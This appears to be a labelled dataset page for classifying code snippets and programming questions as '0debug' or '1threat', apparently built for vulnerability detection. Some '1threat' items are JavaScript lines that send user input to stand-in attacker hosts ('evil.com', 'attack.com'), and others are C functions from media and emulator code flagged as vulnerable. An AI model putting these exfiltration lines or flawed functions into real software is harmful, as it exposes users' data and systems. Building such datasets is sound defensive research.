problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
Why this code is not giving the output as expected : <p>I was expecting the output as AB , ABCD but the output is ABCD , B. How's that possible?</p>
<pre><code>
public class Test {
public static void main(String[] args) {
StringBuffer a = new StringBuffer("A");
StringBu... | 0debug |
How to replace specific letters in multiple times in strings in python, : <p>#some times it will change" JR" as " II" that time this replace function not work</p>
| 0debug |
How do you pronounce NGRX? : <p>My dev team is creating an application with Angular NGRX.</p>
<p>When talking about it I'm not sure how to say it.</p>
<p>Do I say each letter? N-G-R-X</p>
<p>Or is it like "engrex"?</p>
<p>Or maybe "Angular Redux"?</p>
<blockquote>
<p>How do you pronounce NGRX?</p>
</blockquote>
| 0debug |
dynamic sized multi line TextBox field in a PDF : <p>I have created a document in open office with a multi line form field:</p>
<p><a href="https://i.stack.imgur.com/i1ZG2.png" rel="noreferrer"><img src="https://i.stack.imgur.com/i1ZG2.png" alt="enter image description here"></a></p>
<p>The issue I am having is when ... | 0debug |
Basic understanding of return function : <p>I'm having trouble of understanding the very basic concept of returning a value in functions (JS etc).</p>
<p>Why should I use</p>
<pre><code>function add(x,y){
result=x+y;
return result;
}
add(5,3);
</code></pre>
<p>instead of</p>
<pre><code>var result=0;
function ad... | 0debug |
static void RENAME(yuv2bgr24_1)(SwsContext *c, const uint16_t *buf0,
const uint16_t *ubuf0, const uint16_t *ubuf1,
const uint16_t *vbuf0, const uint16_t *vbuf1,
const uint16_t *abuf0, uint8_t *dest,
... | 1threat |
How print first and last row in an array using C : I have m x m array and i am trying to find out first and last row of a given matrix (using C) which is
e.g mat[3][3]={1,2,3,
4,5,6,
7,8,9};
But i could not figure out how to get first and last row using c. If some have the algorith... | 0debug |
static QDict *qmp_check_input_obj(QObject *input_obj, Error **errp)
{
const QDictEntry *ent;
int has_exec_key = 0;
QDict *input_dict;
if (qobject_type(input_obj) != QTYPE_QDICT) {
error_set(errp, QERR_QMP_BAD_INPUT_OBJECT, "object");
return NULL;
}
input_dict = qobje... | 1threat |
PCA on word2vec embeddings : <p>I am trying to reproduce the results of this paper: <a href="https://arxiv.org/pdf/1607.06520.pdf" rel="noreferrer">https://arxiv.org/pdf/1607.06520.pdf</a></p>
<p>Specifically this part:</p>
<blockquote>
<p>To identify the gender subspace, we took the ten gender pair difference vect... | 0debug |
How to get the realtime output for a shell command in golang? : <p>I am trying to call shell command with os/exec in golang, that command will take some time, so I would like to retrieve the reatime output and print the processed output (a progressing ratio number).</p>
<pre><code>package main
import (
"bufio"
... | 0debug |
How to do data exploration before choosing any Machine Learning algorithms : <p>Any tools could help recognize the data distribution pattern, and then make the decision to choose ML algorithms?</p>
| 0debug |
Some git commits are missing after creating git branch from another git branch : I am creating a git branch from another git branch, but somehow a few git commits are missing in the newly created git branch.
Suppose I have **Branch1** having below commit ids,
09dc55
348e4df
9d4a7eb
3cfa1b1
3bd369f
1862ec0
... | 0debug |
Flutter: Filter list as per some condition : <p>I'm having list of Movies. That contains all Animated & non Animated Movies. To identify whether its Animated or not there is one flag called as <strong>isAnimated</strong>.</p>
<p>I want to show only Animated movies. I written code to filter out only Animated movies... | 0debug |
void ff_put_h264_qpel16_mc03_msa(uint8_t *dst, const uint8_t *src,
ptrdiff_t stride)
{
avc_luma_vt_qrt_16w_msa(src - (stride * 2), stride, dst, stride, 16, 1);
}
| 1threat |
Can I shorten the proccess of adding multiple variables in Python : basically I have a list and from.that list every variable uses one index for a value. Example:
val = [2, 4, 8, 6]
var1 = val[0]
var2 = val[1]
var3 = val[2]
var4 = val[3]
Can I put this in a loop somehow? Because I have c... | 0debug |
static int get_video_frame(VideoState *is, AVFrame *frame)
{
int got_picture;
if ((got_picture = decoder_decode_frame(&is->viddec, frame)) < 0)
return -1;
if (got_picture) {
double dpts = NAN;
if (frame->pts != AV_NOPTS_VALUE)
dpts = av_q2d(is->video_st->tim... | 1threat |
static void gen_doz(DisasContext *ctx)
{
int l1 = gen_new_label();
int l2 = gen_new_label();
tcg_gen_brcond_tl(TCG_COND_GE, cpu_gpr[rB(ctx->opcode)], cpu_gpr[rA(ctx->opcode)], l1);
tcg_gen_sub_tl(cpu_gpr[rD(ctx->opcode)], cpu_gpr[rB(ctx->opcode)], cpu_gpr[rA(ctx->opcode)]);
tcg_gen_br(l2);
... | 1threat |
Get all key paths from a struct in Swift 4 : <p>Let's say I have that struct:</p>
<pre><code>struct MyStruct {
let x: Bool
let y: Bool
}
</code></pre>
<p>In Swift 4 we can now access it's properties with the <code>myStruct[keyPath: \MyStruct.x]</code> interface.</p>
<p>What I need is a way to access all it's... | 0debug |
Spelling Bee word randomizer : <p>I am a primary school teacher and want to create a program to randomly choose a word from a bank of spelling words that I will enter. I want to create this to insure that there can be no bias on the part of the judge choosing an easier or harder word due to personal feelings. I have no... | 0debug |
Set function data into variable using Javascript : <p>I'd like to set the width of an external image (from another url) into a variable, so I can use the newly assigned variable on another function.</p>
<p>The problem is that I get <code>undefined</code> message on the variable, see the code below.</p>
<pre><code>var... | 0debug |
Find intersection of two columns in Python Pandas -> list of strings : <p>I would like to count how many instances of column A and B intersect.
The rows in Column A and B are lists of strings.
For example, column A may contain [car, passenger, truck] and column B may contain [car, house, flower, truck]. Since in this c... | 0debug |
Meteor is stuck at downloading meteor-tool@1.3.2_4 : <p>I have been using meteor framework for the past few days. Now, when i create a new project it downloads meteor-tool@1.3.2_4. But it does not complete download. It seems to be stuck at downloading and shows only following line:</p>
<pre><code>Downloading meteor-to... | 0debug |
how to check which dns client is used on an external server? : <p>The issue is that i cannot determine what domain name system external servers use.</p>
<p>I want to be able to spot which kind of domain name system client is a server using without having actually access to it.</p>
<p>I have tried several commands on ... | 0debug |
Hi.Refresh icon.Can some one help me to locate an element (xpath or CSS) which is displayed <svg class="ult-icon .....height: 20px;">.HTML below: : <div class="ult-dashboard-item grid-item" style="transform: translate(5px, 5px); width: 290px; height: 290px; left: 0px; top: 0px; position: absolute; cursor: default;">
... | 0debug |
static int openfile(char *name, int flags, bool writethrough, bool force_share,
QDict *opts)
{
Error *local_err = NULL;
BlockDriverState *bs;
if (qemuio_blk) {
error_report("file open already, try 'help close'");
QDECREF(opts);
return 1;
}
if... | 1threat |
How to query records number in a joint query? : <p>for example,I have 2 tables student & report, "student" log student info,"report" log every student's school report,a student has more than one reports so report table has a foreign key "sid" referenced to student table,now I want to query every student's info and ... | 0debug |
How can find the label position in panell in winForm in during the vertical scrolling : Hello I have a question <br>
I have a panel for example 1000 label controls that the height of each label is variable in win form app and I am going to when scrolling vertically the panel
find the position of the first label is ... | 0debug |
Bash-script delete a specific line from a .txt file : <p>I want to learn how to delete from a txt file the line that contains a word that user typed in a variable
I've tried grep -v but then clears the whole content of the file
Help?!!! </p>
| 0debug |
What are the differences between Decorator, Wrapper and Adapter patterns? : <p>I feel like I've been using these pattern families quite many times, however, for me it's hard to see the differences as their <em>definitions</em> are quite similar. Basicaly it seems like all of them is about <em>wrapping</em> another obje... | 0debug |
middleware for one specific method in controller in Laravel : <p>I have middleware <code>Auth</code> that is in <code>App\Http\Middleware\</code></p>
<p>In my kernel i added him like:</p>
<pre><code>protected $routeMiddleware = [
'auth' => \Illuminate\Auth\Middleware\Authenticate::class,
'auth.basi... | 0debug |
ASP.NET C# storing Session in DataBase : <p>i am new with ASP.NET and C#. I was trying to store details of a booking into the booking table including User ID using the session.
My booking table is as follow</p>
<pre><code>CREATE TABLE [dbo].[BookingTb] (
[Bid] INT IDENTITY (1, 1) NOT NULL,
[Rid] V... | 0debug |
HTML PHP get select value in same page : <p>I have a question about HTML select form.</p>
<p>I have 5 select forms something like following picture.
<a href="https://i.stack.imgur.com/uNHHB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uNHHB.png" alt="pic 1"></a></p>
<p>You have to select from th... | 0debug |
static int flv_same_audio_codec(AVCodecContext *acodec, int flags)
{
int bits_per_coded_sample = (flags & FLV_AUDIO_SAMPLESIZE_MASK) ? 16 : 8;
int flv_codecid = flags & FLV_AUDIO_CODECID_MASK;
int codec_id;
if (!acodec->codec_id && !acodec->codec_tag)
return 1;
if (acodec->bits_pe... | 1threat |
Kubernetes: How to refer to one environment variable from another? : <p>I've a <code>Deployment</code> object where I expose the POD ID using the <a href="https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/" rel="noreferrer">Downward API</a>. That works fine. However, I... | 0debug |
Find string with certain lenght VBA : Im trying to use VBA code to find string with excaktly 4 letters/numbers without spaces within a column. There is more more strings in cells. I would like to avoid using formula. I would appreaciate any help. | 0debug |
static void gen_intermediate_code_internal(CPULM32State *env,
TranslationBlock *tb, int search_pc)
{
struct DisasContext ctx, *dc = &ctx;
uint16_t *gen_opc_end;
uint32_t pc_start;
int j, lj;
uint32_t next_page_start;
int num_insns;
int max_insns;
qemu_log_try_set_file... | 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
I already asked , but how to access view page without id value in the url. : my view.php
<?php
echo
Html::beginForm(['contactpersons/update'], 'post',['id' => 'update-form']) .
'<input type="hidden" name="id" value="'.$model->id.'">
<a href="javascript:{}" onclick="document... | 0debug |
No Individual User Accounts auth option in ASP.NET Core Web API template : <p>I am a bit confused as to why there is no Individual User Accounts authentication option in the latest ASP.NET Core Web API template.</p>
<p>Is it still possible to implement individual user accounts the way that the MVC template does or wou... | 0debug |
What is the difference between Handle and HandleFunc? : <p>I'm trying to understand the differences between Handle and HandleFunc.</p>
<p>Other than the differences, when would you use one over the other when building a Go web app?</p>
<p><a href="https://golang.org/pkg/net/http/#Handle" rel="nofollow noreferrer">htt... | 0debug |
Running two PHP versions on the same server : <p>I have two projects on the local server, one project is running PHP5.6 and the other one is running PHP7.0. Now would it be possible to enable this two versions based on the projects? I already tried adding <code>AddHandler application/x-httpd-php7 .php</code> in one of ... | 0debug |
What is the purpose of period (.) in the ~/.bashrc : <p>I've been studying the bash scripting then i noticed using the period wildcard in the bash script, in my sense the period treated as current directory, </p>
<p>I have snippet </p>
<pre><code>if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_co... | 0debug |
update two tables with same values but different IDs : I'm trying to update two tables with one query with same value but different IDs. I have been looking for solution but all I have found doesnt work for me
here is the code:
$Image = $_SESSION["ImageName"];
$ImageID = $_POST['ImageID'];
$GalleryID ... | 0debug |
How to reset Android Studio to previous version : <p>I recently recklessly updated AS from 3.0.1 to 3.1, but project manager says 3.0.1 is the version to be worked with in our project. Is there a way to reset AS to version 3.0.1 without having to uninstall it?</p>
| 0debug |
Best way to find how many times an item in a list repeats in a row, in C#? : <p>Given a list, for example:
<code>List<int> _ = new List<int>() { 1, 1, 1, 3, 3, 4, 4, 1, 1, 8, 8, 8, 5, 6, 7, 7, 7, 7, 8, 8 };</code></p>
<p>What would be the best / fastest / most efficient way to find how many times an item r... | 0debug |
Using variables in Gradle build script : <p>I am using Gradle in my project. I have a task for doing some extra configuration with my war. I need to build a string to use in my task like, lets say I have:</p>
<pre><code>task extraStuff{
doStuff 'org.springframework:spring-web:3.0.6.RELEASE@war'
}
</code></pre>
<p... | 0debug |
How to get the content-length of the response from a request with fetch() : <p>I was getting an error when returning <code>response.json()</code> when I would do a request with an empty response body, so I'm trying to just return an empty object when there is an empty body. The approach I was going for is to check the ... | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static void ipmi_init_sensors_from_sdrs(IPMIBmcSim *s)
{
unsigned int i, pos;
IPMISensor *sens;
for (i = 0; i < MAX_SENSORS; i++) {
memset(s->sensors + i, 0, sizeof(*sens));
}
pos = 0;
for (i = 0; !sdr_find_entry(&s->sdr, i, &pos, NULL); i++) {
struct ipmi_sdr_compac... | 1threat |
Codename one Tabs : Guys i stuck with this [Codename one][1] UI component from two days and still i didn't get proper solution for that...i will add tabs in my application but when i run the application, The tabs i have added looking not good as i expected so someone help me to get out of this mess? ... thanks in advan... | 0debug |
Print formatted key and [key, value] from Dictionary : I would like to know how to print key and value from Dictionary.
My grouped dictionary:
var Grouped: [String? : [(key: String, value: String?)]]
How it prints right now.
("9:00 - 22:00", [(key: "II", value: Optional("9:00 - 22:00")), (key: "III", ... | 0debug |
FTP download - not saving : <p>I have a script to download CSV files from a FTP server.
I have tested the script now several time. And from PyCharm there are coming no Error. It is going trough as "processed". But the problem is that it is not saving/downloading the files. I can find them in my directory. </p>
<p>So ... | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
Does matlab simulate "0" for infinitely-many solutions? : Matlab simulates solve(a==a)=0. The solution should have been infinitely many (the solution should have looked like a=a) but it simulates the solution equal to zero which is incorrect. How to fix this? | 0debug |
static int rm_assemble_video_frame(AVFormatContext *s, RMContext *rm, AVPacket *pkt, int len)
{
ByteIOContext *pb = &s->pb;
int hdr, seq, pic_num, len2, pos;
int type;
int ssize;
hdr = get_byte(pb); len--;
type = hdr >> 6;
switch(type){
case 0:
case 2:
seq = ge... | 1threat |
static int ipvideo_decode_frame(AVCodecContext *avctx,
void *data, int *got_frame,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
IpvideoContext *s = avctx->priv_data;
AVFrame *frame = data;
int... | 1threat |
Cannot create file using Cocoa (Apple) with objective-C : I'm using xCode to create MacOS application with Cocoa(Objective-C).
I happen to create a text file when running my app with the button Run inside xCode, but the problem is that the file is not created when I run my application from the directory Products/R... | 0debug |
How to sum only one textbox value and show result in label in c# : <p>The question could be duplicate but my problem is totally different.</p>
<p>I have a one textbox and one label.</p>
<p>Example: label text is already exist with number like 450 Now I want to add number in textbox and the textbox value should be sum... | 0debug |
automaticaly delete old Data : I have a table that I like the old
Data will be deleted automatically.
namely, if the zeit old than 5 days
The table looks like this.
http://de.share-your-photo.com/e6508ee7a6
can someone help me?
these do not work
<?php
require_once __DIR__ . '/connection.php';
$va... | 0debug |
Ignoring files from checkin with certain pattern of change : <p>Since having started using <a href="https://www.nuget.org/packages/JetBrains.Annotations">JetBrains Annotations</a>, for my own benefit I've decorated all methods with <code>[CanBeNull]</code> or <code>[NotNull]</code></p>
<p>For example, the following li... | 0debug |
How do I send alerts every minute? : <p>I'm new to html and javascript but I was wondering how I could go about sending alerts like this <a href="https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_alert" rel="nofollow noreferrer">https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_alert</a> every min... | 0debug |
accessing 500 text file in 1 folder and spleting them according to certain delimeters using C# : So, I've got 500 .txt files contain **a lot** of words
and I want to access those 500 files and store each word in it into a dictionary (the word is separated by space, "/" , "," , ".", etc...)
any ideas how can I work th... | 0debug |
Why is Chrome coloring my cookie red when I set it from the inspector? : <p>If I open the inspector for a page, go to the Application tab, scroll down to Cookies in the left-hand list, expand it, and click my domain, I get a list of cookies set on the domain. I can add new entries to the list and edit existing ones, se... | 0debug |
static int parse_hex32(DeviceState *dev, Property *prop, const char *str)
{
uint32_t *ptr = qdev_get_prop_ptr(dev, prop);
if (sscanf(str, "%" PRIx32, ptr) != 1)
return -EINVAL;
return 0;
}
| 1threat |
I have to set a heading to the font-family "Cooper Black" but it never actually goes to it. : <p>I'm submitting the gist I have of it with the questions as well. It is specifically question 8 on the full blown assignment. <a href="https://gist.github.com/JStrong0037/67c1a09ccd1943be84f4" rel="nofollow">This</a> is the ... | 0debug |
static int gif_image_write_image(ByteIOContext *pb,
int x1, int y1, int width, int height,
const uint8_t *buf, int linesize, int pix_fmt)
{
PutBitContext p;
uint8_t buffer[200];
int i, left, w, v;
const uint8_t *ptr;
... | 1threat |
Amazon S3 - different lifecycle rule for "subdirectory" than for parent "directory" : <p>Let's say I have the following data structure:</p>
<ul>
<li>/</li>
<li>/foo</li>
<li>/foo/bar</li>
<li>/foo/baz</li>
</ul>
<p>Is it possible to assign to it the following life-cycle rules:</p>
<ul>
<li>/ (1 month)</li>
<li>/foo ... | 0debug |
static void RENAME(hcscale_fast)(SwsContext *c, int16_t *dst1, int16_t *dst2,
int dstWidth, const uint8_t *src1,
const uint8_t *src2, int srcW, int xInc)
{
int16_t *filterPos = c->hChrFilterPos;
int16_t *filter = c->hChrFilter;
void ... | 1threat |
Problem for execute examples in language of programming c++ : <p>I'm newbie and very confused. </p>
<p>My compiler is g++ (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4. The program are executed in visual studio. </p>
<p>I don't know what's my problem. </p>
<p>My command is: </p>
<blockquote>
<p>g++ -Wall -std=c++11 Book.... | 0debug |
unable to pass the context to the another class in android : [enter image description here][1]ServiceCalls serviceCalls = new ServiceCalls(this, "ks");
serviceCalls.execute(requestParams);
[1]: http://i.stack.imgur.com/DTjw1.png
Note:pls check the image.I am not good at english.thanks in advance | 0debug |
adb -s 192.168.1.6:5555 ..... error: more than one device/emulator : <p>I am working with react native, and would like to switch adb to wifi for easier debugging.</p>
<p>I connect my device using usb, then type these commands.</p>
<pre><code>adb tcpip 5555
</code></pre>
<p>Then I disconnect my usb cable and enter th... | 0debug |
Couldn't get the reason for the fault in th code : This is a program to print the smallest value and its position in an array (defined by user).
#include <stdio.h>
int position_smallest(int a[],int n)
{
int smallest = a[0];
int i,k;
for(i=0; i<=n-1; i=i+1)
{
if(a[i]<a[0])... | 0debug |
static void gen_rsr(DisasContext *dc, TCGv_i32 d, uint32_t sr)
{
static void (* const rsr_handler[256])(DisasContext *dc,
TCGv_i32 d, uint32_t sr) = {
[CCOUNT] = gen_rsr_ccount,
[PTEVADDR] = gen_rsr_ptevaddr,
};
if (sregnames[sr]) {
if (rsr_handler[sr]) {
... | 1threat |
split MYSQL field into array and search : <p>I have field in MySQL table. The field is called 'vehicles' When I add vehicles I add them by ID not name, so the field is populated like '2:3:4:6:7:9' 2 will be a car, 7 will be a bike, etc. </p>
<p>What I want to do quickly and simply is when I query the table I want to s... | 0debug |
static hwaddr ppc_hash64_pteg_search(PowerPCCPU *cpu, hwaddr hash,
const struct ppc_one_seg_page_size *sps,
target_ulong ptem,
ppc_hash_pte64_t *pte, unsigned *pshift)
{
CPUPPCState *env = &cpu->env;
... | 1threat |
static inline void RENAME(rgb15to24)(const uint8_t *src, uint8_t *dst, unsigned src_size)
{
const uint16_t *end;
#ifdef HAVE_MMX
const uint16_t *mm_end;
#endif
uint8_t *d = (uint8_t *)dst;
const uint16_t *s = (uint16_t *)src;
end = s + src_size/2;
#ifdef HAVE_MMX
__asm __volatile(PREFETCH" %0"::"m"(*s):... | 1threat |
Change the label content while processing : <p>I have a function which makes process. At the beginning of the function I want to change the text of a label which indicates the state, and once the process ends, change it again.</p>
<p>The fact is that only is shown the final change.</p>
<p>I know I can make a thread f... | 0debug |
Regex match and count : Using Regex how would you count triplicates in a string?
example 122244445577777
1 222 444 4 55 777 77
answer 3 | 0debug |
Regex doesnt contain : I'm looking for the regex expression for a string matching a string starting with a ";" and ending with a ":", that contain neither ";" nor ":"
For example ";zreazer:" should match but ";raz:er:" or ";er;:" should not
Any idea? :) Thanks in advance, I tried some with ^ and ?! symbols but it... | 0debug |
static HotpluggableCPUList *spapr_query_hotpluggable_cpus(MachineState *machine)
{
int i;
HotpluggableCPUList *head = NULL;
sPAPRMachineState *spapr = SPAPR_MACHINE(machine);
sPAPRMachineClass *smc = SPAPR_MACHINE_GET_CLASS(machine);
int spapr_max_cores = max_cpus / smp_threads;
g_asser... | 1threat |
Regex for phone number that starts with + : <p>For example +4456689854333 is a correct match</p>
| 0debug |
replace CR LF in SED : I have a 1.5 GB Windows text file with some lines ending with LF and most of lines ending with CR+LF
Can you please help with SED script which
- a. will replace all CR+LF with $|$
- replace all LF with CR+LF
- replace back all $|$ with CR+LF
| 0debug |
React Hook : Send data from child to parent component : <p>I'm looking for the easiest solution to pass data from a child component to his parent.</p>
<p>I've heard about using Context, pass trough properties or update props, but I don't know which one is the best solution.</p>
<p>I'm building an admin interface, wit... | 0debug |
static VFIOINTp *vfio_init_intp(VFIODevice *vbasedev,
struct vfio_irq_info info)
{
int ret;
VFIOPlatformDevice *vdev =
container_of(vbasedev, VFIOPlatformDevice, vbasedev);
SysBusDevice *sbdev = SYS_BUS_DEVICE(vdev);
VFIOINTp *intp;
intp = g_malloc0(... | 1threat |
static uint64_t ahci_mem_read(void *opaque, target_phys_addr_t addr,
unsigned size)
{
AHCIState *s = opaque;
uint32_t val = 0;
if (addr < AHCI_GENERIC_HOST_CONTROL_REGS_MAX_ADDR) {
switch (addr) {
case HOST_CAP:
val = s->control_regs.cap;
... | 1threat |
multiple underscores randomly in a string : /*I want random multiple underscores everytime I refresh the page in a string...*/
enter code here
<html>
<body>
<p id="demo"></p>
<p id="temo"></p>
<p id="jemo"></p>
<p id="remo"></p>
<script>
var i;
var x="Sachin Tendulkar";... | 0debug |
Set Default/Null Value with Select TagHelper : <p>In asp.net mvc you can use:</p>
<pre><code>@Html.DropDownListFor(model => model.Category, ViewBag.Category as IEnumerable<SelectListItem>, "-- SELECT --", new { @class = "form-control" })
</code></pre>
<p>Using asp.net 5, how do I include the default or null ... | 0debug |
Angular2 rxjs missing observable.interval method : <p>I'm trying to use the interval method of an observable but I keep getting the error </p>
<pre><code> Property 'interval' does not exist on type 'Observable<any>'.
</code></pre>
<p>I added these imports:</p>
<pre><code>import "rxjs/Rx";
import "rxjs/add/obse... | 0debug |
How to use arguments in c# console application? : <p>how can i use arguments in c# console application?
hello everyone
what is arguments?and how to use it in C# Console?
i want,when the user input was empty.
it shows help
also,when the user input was wrong,it shows help too.
help me
thanks a lot</p>
| 0debug |
static int output_frame(H264Context *h, AVFrame *dst, H264Picture *srcp)
{
AVFrame *src = srcp->f;
int ret;
if (src->format == AV_PIX_FMT_VIDEOTOOLBOX && src->buf[0]->size == 1)
return AVERROR_EXTERNAL;
ret = av_frame_ref(dst, src);
if (ret < 0)
return ret;
av_dict... | 1threat |
static unsigned long iv_decode_frame(Indeo3DecodeContext *s,
const uint8_t *buf, int buf_size)
{
unsigned int image_width, image_height,
chroma_width, chroma_height;
unsigned long flags, cb_offset, data_size,
y_offset, v_offset, u_off... | 1threat |
int tap_open(char *ifname, int ifname_size, int *vnet_hdr,
int vnet_hdr_required, int mq_required, Error **errp)
{
struct ifreq ifr;
int fd, ret;
int len = sizeof(struct virtio_net_hdr);
unsigned int features;
TFR(fd = open(PATH_NET_TUN, O_RDWR));
if (fd < 0) {
er... | 1threat |
static void raw_probe_alignment(BlockDriverState *bs, int fd, Error **errp)
{
BDRVRawState *s = bs->opaque;
char *buf;
size_t max_align = MAX(MAX_BLOCKSIZE, getpagesize());
if (bdrv_is_sg(bs) || !s->needs_alignment) {
bs->request_alignment = 1;
s->buf_align = 1;
... | 1threat |
How exactly c++ vtable works? (with example in the q.) : <p>lets take an c++ example:</p>
<pre><code>class A
{
public:
A() { cout << "hey" << endl; }
~A() { cout << "by" << endl; }
};
class B : public A
{
public:
B() {}
virtual ~B() { cout << "from b" << endl; }
... | 0debug |
int ff_avc_parse_nal_units(AVIOContext *pb, const uint8_t *buf_in, int size)
{
const uint8_t *p = buf_in;
const uint8_t *end = p + size;
const uint8_t *nal_start, *nal_end;
size = 0;
nal_start = ff_avc_find_startcode(p, end);
while (nal_start < end) {
while(!*(nal_start++));
... | 1threat |
Why this regex is not working? : Test URL:
www-test1.examples.com
The regex should match -test1 part and only if it is before the first dot and after the start of the expression. www can be any string.
Following is m regex:
^(?= \w+)(-\w+)(?! \.)
This is not matching the -test1 part. What am I mi... | 0debug |
Drop down button in flutter not switching values to the selected value : <p>I've recently started programming using dart and flutter and everything has been going smoothly for my app, although recently i wanted to add drop down menu to provide the user with multiple options to pick from. everything worked as planned ho... | 0debug |
C++ Classname Function() : <p>I was recently giving an online quiz on c++ and a question came that had similar syntax as</p>
<pre><code>class className
{
public:
constructor()
{
print("ABC");
}
}
int main()
{
className ABC();
return 0;
}
</code></pre>
<p>I thought it would not co... | 0debug |
single object of socket io : I am trying to create an application based on socket. Looking at the console it can be said that the client to trying to socket server twice. which should not be allowed.
1. Is there any way to stop that ?
2. If have modular javascript file where multiple script want to access same socke... | 0debug |
Setup development architecture (best pratices) : <p>I’m searching for a method to build a development architecture. Only i dont know the best pratices. </p>
<p><strong>Note</strong>: i'm working with the symfony framework</p>
<p>Imagine you have multiple website, must all of these websites have their own database an... | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.